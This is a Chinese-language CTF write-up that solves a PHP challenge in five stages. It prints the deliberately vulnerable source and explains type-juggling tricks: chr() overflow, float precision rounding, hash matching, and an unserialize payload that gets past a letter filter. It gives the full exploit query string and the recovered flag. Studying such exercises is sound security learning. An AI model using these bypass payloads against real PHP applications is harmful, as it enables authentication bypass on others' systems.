考点: 
php弱类型比较 
超精度浮点数将被转换为整数 
php字母转数字比较 
 
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php error_reporting(0 ); include ('flag.php' );highlight_file('index.php' ); $a = $_GET['key1' ]; if ($a==56  || $a>256 ){  die ("Really???" ); } elseif (chr($a)==="8" ){  echo  "Carry on"  . "<br>" ;   echo  $flag1 . "<br>" ; } else {  die ("You are not good" ); } $b = $_GET['key2' ]; if (strpos($b,'8' )!==false ){  die ("It won't be that easy" ); } for ($i=0 ;$i<=1 ;$i++){  ++$b; } if ($b==10 ){  echo  "Good luck"  . "<br>" ;   echo  $flag2 . "<br>" ; } else {  die ("No Luck" ); } $m = md5($_GET['rq' ]); if ($_GET['fp' ] == $m){  echo  $flag3."<br>" ; } elseif (isset ($fp)){  die ("You failed" ); } $n = hash('ripemd160' ,$_GET['np' ]); if ($_GET['nq' ] === $n){  echo  $flag4."<br>" ; } elseif (isset ($np)){  die ("You failed" ); } $hell=$_GET['key3' ]; if (strpos($hell, 'i' )!==false  || strpos($hell, 'I' )!==false ){  die ("You...can't..." ); } $data = unserialize($hell); if  ($data['username' ] == $adminName && $data['password' ] == $adminPassword) { echo  $flag5 . "<br>" ; } else  {  die ("useless" ); } ?> 
 
flag是由五部分组成的,$flag1,$flag2,$flag3,$flag4和$flag5,得到这些$flag变量需要绕过一些限制条件。
第一层 1 2 3 4 5 6 7 8 9 10 11 12 $a = $_GET['key1' ]; if ($a==56  || $a>256 ){  die ("Really???" ); } elseif (chr($a)==="8" ){  echo  "Carry on"  . "<br>" ;   echo  $flag1 . "<br>" ; } else {  die ("You are not good" ); } 
 
读取$flag1变量需要满足几个条件:
$a和数字56弱类型比较之后不相等,也就是说$a不能为56,也不能为56aaa等值,而且$a不能大于256; 
chr($a) === "8",但是"8"对应的ascii码值是56。 
 
也就是说变量$a的经过chr函数计算后的值是56,但是$a本身不能是56。
我们先看一下chr函数的实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 PHP_FUNCTION(chr) { 	zend_long c; 	ZEND_PARSE_PARAMETERS_START(1 , 1 ) 		Z_PARAM_LONG(c) 	ZEND_PARSE_PARAMETERS_END(); 	c &= 0xff ; 	ZVAL_INTERNED_STR(return_value, ZSTR_CHAR(c)); } 
 
在第12行可以看到,chr函数会对传入的值先进行&操作确保传入的ascii码不会大于255,也就是相当于对传入chr函数的值进行一个模操作来确保ascii值不会超过255。
因为题目中要求$a不能大于256,所以我们可以推测$a一定小于0,-200就符合题目的要求:
1 2 3 4 5 -200 100111000 011111111 --------- 000111000 
 
所以chr(-200) = chr(56) = 8
当前对应的payload为:
 
第二层 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $b = $_GET['key2' ]; if (strpos($b,'8' )!==false ){  die ("It won't be that easy" ); } for ($i=0 ;$i<=1 ;$i++){  ++$b; } if ($b==10 ){  echo  "Good luck"  . "<br>" ;   echo  $flag2 . "<br>" ; } else {  die ("No Luck" ); } 
 
第6行~第8行的代码会将变量$b加2,在第9行将$b和10进行弱类型比较,如果相等,则输出$flag2。
但是在第3行要求变量$b不能为8。这里涉及到的是数据类型精度的考察。
对于==的弱类型比较,php会先读取这个浮点数,然后进行类型转换。当给定的浮点数的精度超过了double类型的精度(小数点后15位)时,就会进行四舍五入取整操作。
这不是php的问题,这是double数据类型的数据精度问题。所以要绕过if(strpos($b,'8')!==false)比较,应该令$b=7.999999999999999999。
payload:
1 ?key1=-200&key2=7.999999999999999999 
 
第三层 1 2 3 4 5 6 7 8 $m = md5($_GET['rq' ]); if ($_GET['fp' ] == $m){  echo  $flag3."<br>" ; } elseif (isset ($fp)){  die ("You failed" ); } 
 
这个没什么难点,接受两个get请求参数$_GET{'rq']}和$_GET['fp'],只要满足md5($_GET['rq']) == $_GET{fp]}即可,随便令rq等于一个值,计算它的md5值赋给fp即可。
payload:
1 ?key1=-200&key2=7.999999999999999999&rq=111&fp=698d51a19d8a121ce581499d7b701668 
 
第四层 1 2 3 4 5 6 7 8 $n = hash('ripemd160' ,$_GET['np' ]); if ($_GET['nq' ] === $n){  echo  $flag4."<br>" ; } elseif (isset ($np)){  die ("You failed" ); } 
 
这和上一层一样,ropemd160是一种单向散列加密哈希函数,直接计算:
1 2 3 4 5 6 7 <?php $np = "222" ; $n = hash('ripemd160' , $np); echo  $n;?> 
 
payload:
1 ?key1=-200&key2=7.999999999999999999&rq=111&fp=698d51a19d8a121ce581499d7b701668&np=222&nq=5f987b94e565af0394c6d6a64e2bdee6797728b1 
 
第五层 1 2 3 4 5 6 7 8 9 10 $hell=$_GET['key3' ]; if (strpos($hell, 'i' )!==false  || strpos($hell, 'I' )!==false ){  die ("You...can't..." ); } $data = unserialize($hell); if  ($data['username' ] == $adminName && $data['password' ] == $adminPassword) { echo  $flag5 . "<br>" ; } else  {  die ("useless" ); } 
 
上面的代码绕过第2个if需要使$data['username'] == $adminName及$data['password'] == $adminPassword。但是我们并不知道$adminName和$adminPassword是什么。但是可以注意到的是进行的弱类型比较,所以猜测$adminName和$adminPassword是字母开头的。
在php中,如果是字符串和数字进行比较,php会把字符串强制转换为数字,对于字母开头的字符串,转换后就是0。
我们知道php反序列化对象类型有:
1 2 3 4 5 6 7 8 9 10 11 12 a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string 
 
所以我们构造一个反序列化字符串,对象类型是array:a,有两个键,username和password,数据类型是整型integer:i,但是i被过滤了(代码第2行),但是可以用double来替换:
1 a:2:{s:8:"username";i:0;s:8:"password";i:0;} 
 
最后的payload为:
1 ?key1=-200&key2=7.999999999999999999&rq=111&fp=698d51a19d8a121ce581499d7b701668&np=222&nq=5f987b94e565af0394c6d6a64e2bdee6797728b1&key3=a:2:{s:8:"username";d:0;s:8:"password";d:0;} 
 
得到结果:
1 2 3 4 5 6 7 Carry on inctf{y Good luck 0u_f0u nd_17_ bu65_ c00l!!} 
 
整合一下就是最后的flag:inctf{y0u_f0und_17_bu65_c00l!!}。
         
        
            
                
                    
                        Author: 
                        Bantian 
                    
                
                
                
                    
                        License: 
                        Copyright (c) 2019 CC-BY-NC-4.0  LICENSE 
                    
                
                
                     
                         Slogan: 
                         早睡早起身体好